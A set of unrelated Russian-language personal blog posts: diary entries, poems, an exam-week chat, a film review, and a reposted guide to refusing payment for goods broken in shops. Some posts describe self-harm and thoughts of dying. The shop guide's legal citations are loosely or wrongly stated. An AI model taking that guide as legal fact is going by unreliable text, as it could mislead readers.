Вьюи нужна помощь! [UPD 31.03.2021 05:10]

Когда большая часть людей смотрела Звездные войны, я даже и не знала, что они есть. Но наконец-таки посмотела. Правда еще не все. Последний эпизод остался.

Порой говорю как Мастер Йода я. И это забавляет :D Но мне сказали, если часто буду так говорить, то начну бесить ахах))

И в предверии завтрашней пересдачи меня поперло.

Я: Сиди и учи, другой мой, иначе тяжко будет завтра

Юля: А ведь действительнов прошлые пересдачи сдали те у кого пропусков немного, они только тест завалили, а мы страдаем

Я: Ну да. Ты смотрела Звездные войны кстати? Я не так давно начала смотреть. Только иногда, когда говорю, чувствую, что я как Мастер Йода. Мб ему как он отвечать :D

Ю: Тяжко будет в любом случае.

Я: Или лучше Дарт Вейдером одеться и тогда ему точно пздц, если не поставит.

Ю: Ему пздц, а мы в дурке :D

Я: Точно, он будет ситхом, а я джедаем и надо будет его победить

Я: Ладно, учить надо, а то на списывание и его милосердие не надеюсь я

Ю: А как ты заставишь его разрисовать как ситха? :D

Я: Вк напишу :D а вобще он просто скрывает свой настоящий облик и надо с ним сразиться, чтобы увидеть какой он страшный уродец на самом деле :D

Ю: Так, завязывай с просмотром Звездных воин

Я: Нет!Ни за что! ДА СВЕРШИТСЯ ВЕЛИКОЕ ПРОТИВОСТОЯНИЕ ЗАВТРА!!!

Через время.

Я: Предатель есть среди нас, который скрывается под маской не сдавшего

Я: И еще 3 преспешника этого ситха есть

/отрпавляю скрин фотки, где показано, что 4 одногруппника у препода в друзьях и среди них Тема, который тоже не сдал/

Ю: Смерть предателям!

Я: Ну пля, мне Тему жалко. Надо вразумить его

Ю: Он тебе не Энакин Скайуокер, чтобы прыгать со светлой стороны на темную и обратно! Прощать нельзя!

the end.

Надеюсь Тема будет на нашей стороне :D Но чет мы не списывались насчет пересдачи.. Неужто принял он темную сторону..

Продолжение следует..)

Закрыть все окна, двери. Возвести стены, много стен. Посадить розы, с острыми шипами. Пусть лучше крепость вокруг сердца, чем теплых рук, твой плен. Пусть сердце дышит, бьется, но в неволе. Пусть ждет, томится долгий час. Нежели дав свободу лишь на долю - получишь горсть осколков прозапас.

И пусть он больной ублюдок, который в прямом смысле может послать тебя на хер, он все равно очень классный.
Мистер Убеймогила ♥
GIFS [x]

Большие огромные лапы, но настолько привыкла, что других не воспринимаю и не подпускаю Только эти руки меня приручили

ты и так уже сделала все что смогла, и так уже через многое прошли из-за тебя, я просто умоляю, не разрушай хотя бы то, что осталось, если хоть один из нас тебе по-настоящему дорог

маленький подвиг:
никому не написать в три ночи о том, что какого хрена.
и не перечитывать на утро с красным лицом.

Не бойтесь дарить согревающих слов,
И добрые делать дела.
Чем больше в огонь вы положите дров,
Тем больше вернется тепла.

Бегемотик маленький) просто некуда всю нежность вылить, а душить тебя ею не хочу, сама задыхаюсь

иногда мне кажется, что большинство моих проблем сейчас как раз от borderline badness self-image, и я просто убедила себя в том, что я насквозь больная, порочная и безнадежная, хотя о чем это я, я так думала и задолго до диагноза, но черт возьми…

иногда я чувствую такую безнадежность от того, что понимаю, что ничего никогда не изменится, и меня не вылечить и не перекроить, и это страдание будет длиться вечно. везде тупики, куда бы я не бежала. я не могу нормально жить, у меня не выходит, и никогда не выйдет.

и я говорю себе: чего ты хочешь? страдать опять, кожу резать, экзамены заваливать? а ответ прост: да, потому что это лучше, чем эта пустота, которая скоро меня поглотит целиком. не интересны мне новые знания, новый опыт, новое все, не интересно, я не могу притворяться, мне интересно любить и сочинять песни, но я не могу любить и сочинять песни, потому что когда я люблю и сочиняю песни все кончается тем, что я на полу в крови, выгляжу смешно, ничего не знаю, ничего не умею, жалкая и глупая, НО ЖИВАЯ. я устала от чертовых бессмысленных дней, я устала от собственной холодности, я хочу цветы дарить и краснеть, почему я не могу этого делать без опасности в итоге сойти с ума? я вообще не вижу жизни дальше завтрашнего дня сейчас. ничего не хочется. так нельзя жить. если я перестану бунтовать против этого, я совершенно точно умру. но если и не перестану, то тоже умру. так от пустоты, так от переизбытка. обречена и помечена.

Лайкает меня парень вк. Я думаю ну прикольно прикольно, начинаю шариться на странице. В группах: МГИМО. Думаю прикольно прикольно, продолжаю. Дальше: esquire. Думаю прикольно прикольно, листаю дальше. Турецкий язык. Так все, вышла со страницы. И дело даже не в политике. Тут чуаак с ручками))) )) )

в жизни нет смысла, если в ней нет любви, и вы все это знаете, просто стараетесь убеждать себя в другом, но я никого не люблю, потому что больно, и ничего не чувствую, потому что больно, и скоро и умру вот так, потому что жить больно

방탄소년단 - RUN

Even if i’m dying out, I try harder to reach you
But it’s no use, it’s a dream to be broken
I run and run, but i’m not getting anywhere
Just burn me out, yes
keep pushing me away
This is a fool, crazy in love, chasing in circles.

source: hoseoh

Когда с первых слов понимаешь, что не зря ждал камбэк.

Сегодня выпал первый снег; встаешь с утра (на самом деле ближе к обеду), дома никого, никто не скажет "малыш, ну-ка посмотри в окошко". Да и я уже далеко не малыш.

Звоню маме, "бабушка в больницу попала", слышу как она плачет, быстро произношу "мамочка, не плачь, будь сильной, все будет хорошо.", "ничего уже не будет хорошо", я молчу, не знаю что и ответить "ты только не огорчай меня", отвечаю что не буду, снова прошу не плакать. Разговор был окончен так быстро, лишь потому что я не хотела, чтобы она слышала и мои слезы. Потому что плакать вместе с мамой - это самый верный знак, что сил это пережить нет ни у одной из вас.

Меня воротит от больниц, воротит от диагнозов, воротит от прогнозов врачей.
Меня просто выворачивает от понимания того, что в любой момент, в любую секунду - звонок, сообщают что ее больше нет.

Так страшно звучит.
Ее больше нет.

Я не хочу снова отвечая на вопрос "что случилось?", говорить этот страшный глагол - умер.

Не хочу.

Но ей 90 лет. Но она - это моя бабушка, это мое детство.

И ещё пару слов к этому дню. Вернее пара слов о предстоящей неделе. Первое, хочется как-то высыпаться что ли. И я буду стремиться к тому, чтобы спать 7 часов. Второе, хочется кушать правильно и не много, чтобы в конце недели увидеть какие-то пусть малейшие, но результаты. Хочется увидеть опять же малейших, но результатов в коже. Хочется не транжирить деньги, чтобы больше было на подарки в декабре. Хочется побольше почитать и побольше посмотреть. Хочется чувствовать энергию и жизненную силу. И любовь от С(хотя от меня это особо не зависит). Хочется закончить ну или подойти к концу статьи к концу надели. И хочется разобраться с насущными делами по учёбе. Вот так. Аминь. Пусть неделя будет классной.

И я-таки тоже напишу о ней. О сессии. Надо сдавать. Нужно сдавать. И как можно скорее. Ну и, конечно же, состояние боевой готовности сменилось на состояние вальяжной лености. Будто защитная реакция.

Странные отношения с Андреем, очень странное мое отношение к нашим отношениям. Он мне сказал, что такое мое состояние искоренится лет через 15. Прибодрил :) А мое состояние - это периодический процесс с фазами "как же я его люблю, обнимаю до визга и хруста, мне больше никто не нужен" и "может быть, я его не люблю, зачем же тогда его обманывать, мне отлично одной (что правда), рядом столько достойных мужчин".

Продолжение следует.

Не хочется писать, потому что в мои выходные обычно ничего не происходит. Но нужно заставлять себя, чтобы это вошло в привычку.

Весь день сегодня была дома одна. И как бы мне это не нравилось, все равно хочется слышать чей-то голос, хотя бы свой. В такие моменты я либо начинаю говорить с котом (это ведь нормально?), либо читать книгу вслух.

В последнее время не понимаю, нравится ли мне одиночество. Просто когда ты один, становится грустно в определенное время. Но быть одному очень важно, так ты обретаешь себя. В одиночестве нет масок, наедине с собой ты настоящий.

постоянно хочется плакать и есть. есть и плакать.
если в мире существуют гифки плачущих и жрущих одновременно людей, то они должны идеально дополнять этот пост.
в моём блоге много нытья, но в жизни я даже не помню когда в последний раз плакала. внутренно у меня проходят мни-истерики с крушением близнаходящихся вещей и громким ором, но ирл у меня нет места, где я могла бы дать выход эмоциям. учёба-дом, где всегда домашние-кровать.
это всё подавляется-подавляется-подавляется, ведь чего мне реветь, мне надо работать, надо жить, а поводов у меня раскисать нет- сама накручиваю, но однажды эти "отсутсвующие поводы" прихлопнут меня, я чувствую это.
это так мерзко, потому что я в 13 лет закатывала глаза на стоны тупых малолеток, а теперь я сама тупая малолетка, у которой есть крыша над головой, какая-никакая сама голова, а мня хлебом не корми дай поныть.
но я не могу взять себя в руки, я могу их только заламывать, каждый раз, когда что-то меня не устраивает. а меня всё постоянно неустраивает.
я не знаю уже чем забить эту тупорылую пустоту, в какой угол эти ебаные мысли и чувства запнуть, это такая косячина- вся моя жизнь, один большой пиздец впереди, всё слишком безысходно и печально.
меня ничем не исправить- нельзя просто так приложить подорожник к человеку, и он сразу из ущербного превратится в полноценного, а вот так вот дальше жить вообще не вариант.

Настроение, под которое идеально подходит Джастин Тимберлейк: красиво, сексуально и немного лениво. Причем Тимберлейк подошел бы сейчас во всех своих реальных и нереальных ипостасях: певец, актер, герой-любовник, маменькин сынок, просто друг.

Нет, ну а что? Идеальный же мужчина! Только слушать остается…

Длительное время общалась с одним мальчиком в инете. Потом перестали общаться. Долго не говорили и тут возобновили общение. И вчера я предложила пойти на прогулку сегодня днем. Удивился, но согласился. И вот сегодня я через дикую эпопею с опозданием приезжаю на Техноложку и вижу его. Скромно сказала "привет" и чмокнула в щеку. Божешки. У него такие обалденные ямочки на щеках при улыбке. Я прям влюбилась в эту улыбку и ямочки *___* может показаться, что я ветренна, но такого душевного общения у меня давно не было ни с кем. И я ни разу не вспомнила о Хэнке и даже думать о нем не хочу. Возможно это пока не угасли эмоции после прогулки. Время покажет. Но погода сегодня чудесная. Мы с А. шли по заснеженному проспекту, с неба падали огромные хлопья. А гирлянды были все в снегу. Как же я люблю такую погоду. Спасибо огромное А. и природе за сегодняшний день.

Если вы разбили товар до оплаты на кассе

Друзья мои, распечатайте и положите в карман/права/паспорт и т.д.

Ты пошел в магазин, например, за вискарем.

И пробираясь между стеллажами, снес стоящую посреди прохода пирамиду из бутылок висящей на плече сумкой. Ты с расстройства, заплатил злым работникам магазина 47 тысяч рублей, и весь остаток месяца ел воду из-под крана, потому что чайник тебе

пришлось продать. .

Вот несколько абзацев информации, которые защитят твой кошелек и отошьют администраторов и охранников самых помпезных магазинов:

Итак, отныне твоя лучшая подруга — статья 1064 гражданского кодекса РФ «О примерных правилах работы предприятия розничной торговли и основных требованиях к работе мелкорозничной торговой сети. .» А именно — тот ее волшебный пункт, в котором написано: «Лицо, причинившее вред, освобождается от возмещения вреда, если докажет, что вред причинен не по его вине. .»

Что это значит: Если ты поскользнулся на влажном полу и вынес стеллаж с шампанским — твоей вины тут нет, и бить будут не тебя, а вон ту тетку со шваброй. .

Если бутылка Оливкового масла ползла по транспортерной ленте у кассы и внезапно приложилась об пол, перед законом ты чист. .

Ты взял банку корнишонов с полки, а соседние огурцы затрепетали и обрушились — ты не обязан оплачивать операцию по выпрямлению рук магазинного мерчендайзера. . Товары должны быть устойчиво расставлены и закреплены на полках,

и это — его работа, а не твои проблемы. .

Твой следующий друган — ГОСТ 51773-2001 «Розничная торговля. Классификация предприятий»

Согласно этому ГОСТу, а также СНиПу 2.08.02–89

«Общественные здания и сооружения. .», расстояние между магазинными стеллажами не должно быть меньше 1,4 метра. .

Причем чем магазин больше, тем шире должны быть

проходы между полками, вот список:

1,4 м — при торговой площади до 100 м2

1,6 м — при торговой площади св.100 до 150 м2

2 м— при торговой площади св. 150 до 400 м2

2,5 м — при торговой площади св. 400 м2

Что это значит:

Выставленная в центре прохода пирамида из бутылок:

а. делала проход уже положенной ширины и затрудняла движение (пройти мимо и ничего не задеть было трудно физически);

б. была плохо зафиксирована (мерчендайзер бестолково выставил бутылки, и они обрушились с полтычка).

Наконец, твоя третья подруга — 203 статья Уголовного Кодекса РФ. Она поможет тебе, если в дело решит ввязаться охранник магазина.

Если охранник начал грубить, угрожать, хватать за капюшон, обыскивать сумку и требовать выйти за него замуж — напомни ему о 203 статье УК. . Он порадуется, узнав, что его активные зажигательные действия в твой адрес караются лишением свободы на срок до 7 лет, ибо это — превышение полномочий служащего Частного Охранного Предприятия (ЧОП).

Что это значит:

По закону, ваш диалог с охранником должен выглядеть так:

Он: Дорогой сэр/мадам ! Вы, кажется, что-то разбили ? Оплачивать собираетесь ?

Ты: Конечно, собираюсь ! Как только мою вину докажут в судебном порядке, в тот же день и оплачу !

Он: Что ж, звучит разумно. Всего вам хорошего, удачного дня.

Ты: До встречи, я Вас люблю !. .

Применяй знания:

Итак, в магазин залетел метеорит и выбил из твоих рук, бутылку красного сухого урожая 1984 года. .

Бледный администратор требует, чтоб ты оплатил разбитую бутылку. .

Заявляй о своей невиновности и, если администратор пойдет на конфликт, требуй жалобную книгу. Подробно опиши случившееся, включая время катастрофы (оператор камеры видеонаблюдения скажет тебе спасибо), свидетелей (ты сам себе скажешь спасибо, если дойдет до суда), и основных участников парада (их потом высекут на красной площади).

Также требуй составления акта о порче товара, в котором обязательно зафиксируй все сопутствующие обстоятельства: скользкий пол, узкие проходы между стеллажами, пьяных футбольных фанатов, танцующих кришнаитов, толкающихся зомби. .

Скорее всего, конфликт рассосется еще на этапе требования жалобной книги. Если же бесноватый персонал не унимается, предложи магазину подать на тебя в суд (иного законного способа заставить тебя оплатить разбитую посуду нет). Судебные издержки и неизбежные визиты проверяющих инспекций охладят пылких сотрудников и позволят тебе выйти из ситуации с прямой спиной и гордо поднятым подбородком.

P.S.: Бонус-трэк !

Волшебные слова ! Примени их к работникам торговли, и посмотри, что будет:

«У вас тут скользкий пол/неустойчивое расположение товаров на полке!

Я буду жаловаться в роспотребнадзор !»

«У Вас узкие проходы/коробки между стеллажами!

Я напишу в государственный пожарный надзор !»

Благодарю, что дочитали до конца. Теперь сделайте репост, чтобы все знали

Твою ж мать, сука. Найти Сашу в вк было самое худшее за весь прошедший день. Просто все что было внутри, все что я так отчаянно закопала в памяти, ВСЕ СУКА ВСПЛЫЛО. Я ГОД СТАРАЮСЬ ЭТО ЗАБЫТЬ. Ну вот какого ж хуя ты мне на глаза попалась. Мразь.

Как ужасно жить в городе без своих друзей и любимого человека. Целыми днями я на учебе или дома, мне больше нечего делать здесь. А в пятницу еще и день рождения. Ужасно не хочу этот день, кмп.

Коротко о том, как мы задолбались учиться:

- родители обещали отправить меня в Африку работать на плантации, если меня отчислят
- идиот! соглашайся! вернешься отдохнувшим, загоревшим и бананчиков нам привезешь!

На месячную реабилитацию после сессии (которая официально называется практикой) нескольких избранных отправят на море. Это в феврале-то, но пофиг. Я не надеюсь оказаться в числе этой элиты, хотя и записалась в желающие. Мне нужно уехать из Москвы, куда нужнее, чем кому-либо. Хорошо и то, что претендентов на московские театры с чьим-то отъездом станет меньше. Хах, с моим везением я и из Мск не уеду, и здесь в какую-нб помойку попаду.
А еще я на полном серьезе хочу взять вторую работу. Да, в сессию работать в двух местах. Мы не ищем легких путей, мы ищем проблемы на свою задницу.
Сегодня впервые за долгое время весь день провела дома. Ничего хорошего. Наверное, этим и навеяно желание настолько загрузить себя работой.

На удивление, сегодня очень продуктивный день! Хотя я думала, что это будет сплошная вялость, но нет. Видимо, вчерашняя баня и сон идут на пользу. Я проработала нашу с Элиной статью про сельское хозяйство, также сделала презентацию по экономике отрасли, очень даже неплохую. Далее занималась собой - сходила за краской для бровей и покрасила брови. Сделала свою маску для волос, намазала брови касторовым маслом, сделала маску для лица. Питание для воскресенья тоже хорошее. Правда ела мало и съела на завтрак пару конфет и много хлеба. Но рабочая неделя быстро вгоняет в ритм. Также я сегодня прочитала страниц 40 Гордости и предубеждения, и скачала себе одну серию (пока что) сериал области тьмы! Я молодец. Ещё нашла одну книгу, которую хотела бы прочитать - харизма лидера. Честно признаюсь, заинтересовало название. Теперь если сказать в целом о неделе, могу сказать, что она была очень продуктивная. И были зайдествованы все мои блоки - и порядок (я разобралась, кажется, с компьютером - обновила его, почистила программы, но займусь этим ещё). Также почистила почту. Одеждой пока не занималась. Была у врача. Также пила все назначенные препараты. Питалась хорошо, практически не ела сладкое, вот только эти конфеты на выходных. Также не пила кофе, не ела фастфуд, шоколад. 4 раза точно мазала брови касторовым маслом, возможно, и 5. Сделала мою маску для волос, причём ходила с ней довольно долго - порядка 5 часов. Активно приступила к чтению книги гордость и предубеждения. Думаю, через две недели закончу её, если не раньше. Писала переодически статью. И ходила 2 раза на спорт - люблю свои тренировки!))) Из того, что бы мне хотелось ещё добавить - возможно, живое общение с друзьями, побольше встреч, знакомств и каких-то мероприятий. Также, мне хочется развивать себя по направлению кинематографа. У меня такой характер, что мне сложно заставить себя сесть и посмотреть новый фильм или сериал, хотя я это очень люблю. Хочется большего развития, больше тем для разговоров. По продуктивности поставлю 8 из 10 себе за эту неделю. Могла бы все-таки избежать сладкого и вина (вчера выпила 2 бокала и с утра вылез прыщ). То ли от позднего ужина, то от от алко. И хотелось бы больше гулять на свежем воздухе, хотя бы в выходные. Вот как-то так. Сейчас запланирую немного предстоящую неделю и буду готовиться ко сну.

На пустом лице и царапина украшение,

В голове бардак, и не хочется утешения В опустевшем доме свет будто избавление Кара всем нам даётся как искупление. Белова С.

Что же случилось с рыцарями?
Неужели они существуют только в фильмах 80-х?
Я хочу, чтобы Джон Кьюсак стоял с магнитофоном у меня под окном, я хочу прокатиться на газонокосилке с Патриком Демпси, я хочу, чтобы Джейк из «16 свечек» ждал меня у выхода из церкви, я хочу, чтобы Джадд Нельсон поднял кулак, осознав, что получил меня.
Я хочу, чтоб хотя бы раз моя жизнь была похожа на фильм 80-х, желательно с музыкальными вставками.
Просто так.
Без причины.

Easy A

Как будто вас кто-то заставляет страдать. Словно вы любите лишь для того, чтобы любили вас. Ощущение, что вы дико эгоистичны и глупы, раз обвиняете в том, что с вами случилось, кого-то другого.

Любовь - не авария. Любовь не убивает вас. Она не делает вам хуже. Вы портите всё сами. Своими мыслями и собственной головой.

Вы сами виноваты в том, что вам больно. Вас никто не заставляет обижаться на чужие слова, убиваться по чужим глазам, страдать из-за того, что кто-то не оправдал ваших ожиданий. Можно просто пропустить ненужные слова, потому что они ничего не стоят. Можно любить его карие глаза, потому что они видят этот мир. Можно принимать людей такими, какие они есть. Зачем вы всё усложняете? Зачем обвиняете других в своих бедах? Неужели вы настолько погрязли в собственных страданиях, что не понимаете, что делаете со своими жизнями?

Никто вам не обязан. Вы не обязаны никому тоже. Все ваши рамки в ваших собственных головах. У вас беды от собственного восприятия. Не делайте трагедию из вещей, которые ничего не стоят или которые стоят слишком мало.

Любите, не ожидая ничего взамен. Радуйтесь тому, что имеете, и добивайтесь своих целей. Не нойте - это пустая трата времени. Используйте все свое время на максимум. Какой смысл страдать? Это жалко. Это глупо. Это эгоистично.

Запомните: никто не обязан оправдывать ваши ожидания, а жизнь - необычайнешная вещь, которой стоит наслаждаться, пока она у вас есть.

Зима.. за весною лето, домой пора, к тебе приду и обниму, даже если будешь далеко - найду. Год пройдет не зря, забыть хотев он только укрепил, те мысли и чувства, что питал и пережил. Ушел, забыл тебя, все получилось. Но чувства не закопать, что были. Себя обманывать легко и сладко, а признаться весьма досадно. Не знал я раньше, как скучать по человеку, но и меня накрыло, как Сибирским снегом. Многое не сказал, боялся, поэтому ушел, не прощавшись. Страх правды самому себе сильнее, чем клясться на кресте. А я вернусь домой. Ты только жди, когда пройдут все майские дожди.

И сад, который должен в это время года покоиться под толстым белым снежным слоем, пряча запасы хлорофилла, из-за парникового эффекта может вдруг проснуться и выпустить на волю обреченные на смерть ростки — прямо под окнами тех, кому не следовало бы видеть иных обреченных, кроме самих себя. Я нащупываю грабли, но не нахожу, сейчас не сезон, и как бы я ни старалась, я не могу удержать снег от таяния.
В кафе на пятом этаже аккуратно выставлены столы и стулья, ни крошки, ни пылинки. Кофейник горячий, окна вымыты начисто. К кофейным парам примешивается новый аромат — кардамон? Я наливаю себе чашку и сажусь за столик у окна. На потолке новый вентилятор, большой. Слышно шум вращающихся лопастей. В газете пишут о смерчах, ураганах, о голодающих. Три миллиона детей со вздувшимися животами неделями сидят без пищи. Семнадцатилетний подросток убил родителей тупым топором, после чего бродил по городу, «среди людей в белом, которые пели песни о сатане». При задержании не сопротивлялся, полицейские характеризуют его состояние как умиротворенное. 66 процентов мужчин Финляндии изменяют женам, 33 процента женщин изменяют мужьям, 24 процента считают измены неприемлемыми. Объявления о знакомстве: мне девятнадцать лет, и я больше не верю в любовь, а январь в этом году самый теплый за столетие. Теперь у нас каждый месяц самый теплый за всю историю, и каждый раз мне кажется, что в этом виновата я. Кофе так себе на вкус. Я наливаю еще чашку. Варю еще. Никто меня не останавливает. Пахнет полировкой, больничной полировкой. Полировка и кардамон. Плохое сочетание. Я сажусь на прежнее место у окна. Ем мясной паштет, холодный. Дождь стучит в окно. Приходит сиделка, встает в очередь, в которой нет никого, кроме нее самой.

Ты или никогда

Чайка на среднем ряду - это такой человек, который мало знает и много говорит. Не помню, кто первый и как давно начал использовать это слово в таком значении, но с тех пор оно прочно вошло в наш обиход, а сама птица стала чем-то вроде символа.

Поэтому я был так расстроен, когда не смог найти в магазинах ничего связанного с чайками. В качестве компенсации мною было решено заказать сразу три фигурки. Назову их: папа чай, мама чайка и сынок чайки. Быстрее бы они доехали из Китая.

У кого-то в ленте краем глаза увидела фразу "живу сейчас так, будто боюсь не успеть". И думаю об этом полвечера. Вот правда. куда я все время так спешу. Ничего не могу пустить на самотек. Ненавижу себя за это качество. Вечно все форсирую.

так все странно… я никогда не испытавала таких чувств, даже тогда к Ж, хотя думала сильнее невозможно
я действительно думаю, что это судьба, ведь мы вновь сошлись, он моя первая любовь, любовь с первого взгляда… и еще тогда, в 16 лет, я знала, что мы будем вместе, не смотря на то, что творилось в те времена
и вот, мы вместе
и я правда очень хочу, что бы из этого вышло что-то хорошее, ведь это не просто так, что мы встретились спустя годы

These three months were the hardest in my life. I realized that I am not as good at English as I was always thinking. Languages play important role of my life. I've learned how to budget my time. Now I do smth for 25 minutes and than have a five-minute break. That's how I try to do my home assignment. I realize that I should be more attentive. The main problem I have is a lack of attention. Step by step I'm trying to manage my inattention. Wish me good luck. My main goals for the last month of 2015? Hmmm… I think to get straight As on my finals. It is the only one thing I really want.

Как обычно спонтанные планы. Еду на Ваську провожать управляющую, которая увольняется. Выпьем вина, а потом я вроде как иду на свидание с парнем)

День 202: Что Вы делали в субботу?
спала до 10.
убиралась.
ездила на сенную за подругой.
вечер провела с подругой и ее м.ч.
заночевала у них.
всееее

День 201: Планы на завтра.
поехать в колледж.
сдать английский, курсовую по экономике, физру.
кстати:
мое отчисление отсрочили до конца след.недели)
в надежде на то,
что я сдам хотя бы 5- 6 задолженностей(по зачетам)

День 200: Что-нибудь. (картинка, любые факты, что Вы сегодня делали, планы на завтра)

то как я вкраце провожу вечер.
а провожу я его также как и вчерашний - с подругой.
а завтра в колледж.совсем не хочу в колледж.

Тут двое детей. А в мою комнату нет дверей. У меня раскалывается голова. А девочка орёл уже мир десять "мама, мама….". я бы её треснула. Слава богу что я скоро перееду в другое место.

День 199: Последняя прочитанная книга. Почему Вы её прочли?
Вишневский "постель".

прочла потому что, как и другие его произведения
книга слишком сильно захватывает, да и просто в серединке сюжета заинтриговала…
Вообще от его произведений невозможно оторваться.
Автор как будто бы менял пол.
Настолько хорошо чувствует женщин, что порой хочется стать его женой))

Вчера проводила своего Милого, такой мужчина в форме, и сознавать смотря на него через окно вагона, что увидимся только через год, печалька такая: (Но уже вроде привыкла к этой мысли, хорошей службы тебе мой Милый, надеюсь ты там много полезного для себя узнаешь, и конечно чтоб ты в учебке не засиживался, а перевели в другую хорошую часть ;)

Говорят, что если ты человека любишь, по-настоящему, то это на всю жизнь. Мы не можем просто перестать это делать, потому что с его стороны любовь прошла. Не можем заставить себя забыть, как по мановению палочки. Андрей говорил, о любви, но сейчас..зашла я (не знаю зачем, просто случайно увидела ссылку и кликнула) на ask его, который сама же и заставила его на спор завести - и что я там вижу?

Может быть я неверно реагирую, но блин.. "любовь прошла, а может ее и не было" - это действительно больно..
Я не обижаюсь на него и как-то то, что еще во мне осталось - затолкала далеко и не вспоминаю, не вытаскиваю наружу. Возможно, он нужен был просто чтобы научить что ли меня чему-то..не знаю. Сейчас во мне какое-то полное и болезненное равнодушие и безразличие к нему, его действиям, и даже если он напишет, что хочет вернуть отношения, я отчетливо понимаю, что мне это не нужно и я скажу "нет".
Его друг Максим, так и пишет периодически, просто ни о чем разговоры, да даже не разговоры, а так, что-то непонятное. И когда ему просто отвечаю - чувствую себя до ужаса странно и неправильно, но увидев все эти ответы..хочется просто сказать - "к черту все это" и плыть по течению, как будет, так и будет - не отталкивая людей от себя. В конце концов не я первая пишу. А Макс человек, которого хочется узнать, и несмотря на идиотский характер немного, многому может научить что ли, если так можно выразиться. Не знаю. Но действительно, к черту. к черту.

Привет вьюи. Возможно, ты, будешь обижаться на меня, что я пишу сюда посты только тогда когда мне скучно. И да я соглашусь с тобой. Вот такой я непостоянный человек. Прошел месяц, как я ничего не писала. Уже прошел мой день рождения. Да что говорить я уже закрыла первую сессию.

День рождения прошел просто замечательно. Самый лучший был день для меня. Были все те люди, которые мне так дороги. И это было вдвойне приятнее это осознавать.

Первая неделя сессии шла очень медленно. Просто ну оооочень медленно. А остальные две недели пролетели незаметно. Честно сказать новых знаний получила минимум. Практически никаких. А я еще удивляюсь, отчего же у нас такие специалисты не грамотные.

Появились купоны на фитнес. Я активно туда хожу. Решила, что даже если купонов не будет, буду ходить по полной стоимости. Мне это очень нравится. А еще я вам обещала сесть на шпагат, не думаю, что получится, но очень постараюсь.

Еще я стала пользователем periscop e. Сейчас как выйду на работу буду проводить трансляции так, что подписывайтесь кто хочет. @kotenka38

Еще хочу поделится с вами песней. За короткий срок она стала очень мне дорога. Но когда я ее слушаю у меня внутри, будто все переворачивается. Песня действительно берет за душу. На данный момент ее изъяли из вк. Но вот вам ссылка на клип. Обязательно послушайте эту шикарную песню.

Так еще хочу посоветовать вам фильм шпион. Очень смешной и забавный. Шутки реально смешные, а не высосаны из пальца, как это сейчас принято. Смотрела я его одна дома и до того мне было смешно, что я смеялась в голос. Ссылочку на фильм я вам тоже оставлю. Заходите смотрите, всем советую.

У нас в золотом яблоке это магазин парфюмерии и косметики была акция -40% на все люксовые товары. И я купила себе то, что так давно хотела. Это великолепные духи Narciso Rodriguez. И чтоб не мелочится, взяла сразу 100мл. Не думала, что вещь может сделать тебя настолько счастливой. Оказывается, может.

Вот хочу поделиться своей книжной полкой в моем айпаде. Хочу прочитать всего Сидни Шелдона. А еще думаю собрать все его произведения в бумажном виде у себя дома.

Совсем забыла, что я хотела написать то. Скоро новый год. Это мой самый любимый праздник в году. Он самый чудесный, он самый волшебный. У меня уже начинается предновогоднее настроение. Совсем скоро мы поставим елку. В магазинах творится нереальная красота. Все эта праздничная атмосфера, автоматически поднимает тебе настроение. Как же я люблю декабрь.

Ваша Катя.

Всем сладких снов, любите себя.

Когда-нибудь я найду таких безбашенных людей, которые в любую секунду рванут со мной куда угодно или которые будут вытаскивать меня из дома в любое время. Хотя не думаю. Ведь у меня есть парень. Но либо парень нужен из такой безбашенной компании, либо парня быть не должно вообще. Даже не знаю, как это объяснить, чтобы вы поняли мою мысль. Но не в этом суть. Вообще, пишу я это не потому, что "парень неподходящий", а потому, что мне надоело постоянно тухнуть дома. Либо нужно искать не такую компанию, а подругу, которая всегда со мной будет готова встретиться, погулять, поболтать и т.п. Только где такую найти.

Осенне-зимняя пора нагоняет дикую тоску. Не могу с этим справиться. Во мне нет энергии и жизненных сил. Сегодня, когда отключили интернет, я бы могла сделать кучу полезных вещей, но я просто лежу и слушаю старые песни, которые напоминают о другом времени и от которых грусти становится только больше. Я стала опаздывать. Мне стало плевать на все происходящее. Мне ничего не нужно. Единственное что дает силы - спорт зал, от туда я выхожу и чувствую что еще жива. Без понятия что с этим всем делать.

Виктор Франкенштейн/ Victor Frankenstein (2015)

Cюжет: Новый взгляд на фантастическую историю Виктора Франкенштейна, на этот раз — с точки зрения его помощника Игоря.

Настала эпоха инноваций и прогресса, когда величайшие умы человечества расширяют рамки возможного… и проникают в глубины непостижимого. Мой друг, Виктор Франкенштейн, один из таких умов.

Есть разница между использованием приборов для возвращения к жизни и созданием того, что вообще не должно существовать.

— Виктор, вы говорили что это все ради жизни!

— Ради того, что важнее жизни.

Из всех фильмов про Франкенштейна этот один из лучших, что мне удалось увидеть. Сценаристы постарались на славу, взяв старую историю и преобразив ее, при этом не испортив.

Отличные декорации, спецэффекты, костюмы, работа оператора и сценаристов. Но больше всего мне понравился актерский дуэт Дэниэла Редклиффа и Джеймса МакЭвоя. Не просто понравился, а удивил и раскрыл этих двоих с новой стороны. Я прозвала этот дуэт "игра взглядов". С самых первых кадров Дэниэл, играя горбуна в цирке, вызвал у меня столько эмоций, что я еле сдерживала их. Как он прочувствовал всю боль и горесть своего персонажа, как он смог это донести только одними глазами - для меня это чудо. МакЭвой не уступал ему в этом - на протяжении всего фильма в его взгляде горели страсть, желание, безумие… и в один миг все погасло, оставив пустоту. Одназначно, эта игра стоит высших похвал.

Так как у меня проблемы что-то описывать, да и вообще писать, просто скажу - этот фильм мне очень понравился и зацепил не только игрой двоих моих любимчиков. В нем затрагивались очень важные и хрупкие темы, о которых хочется думать и размышлять. Это кино не просто развлечение, но и пища для ума, что не мало важно.

7 из 10

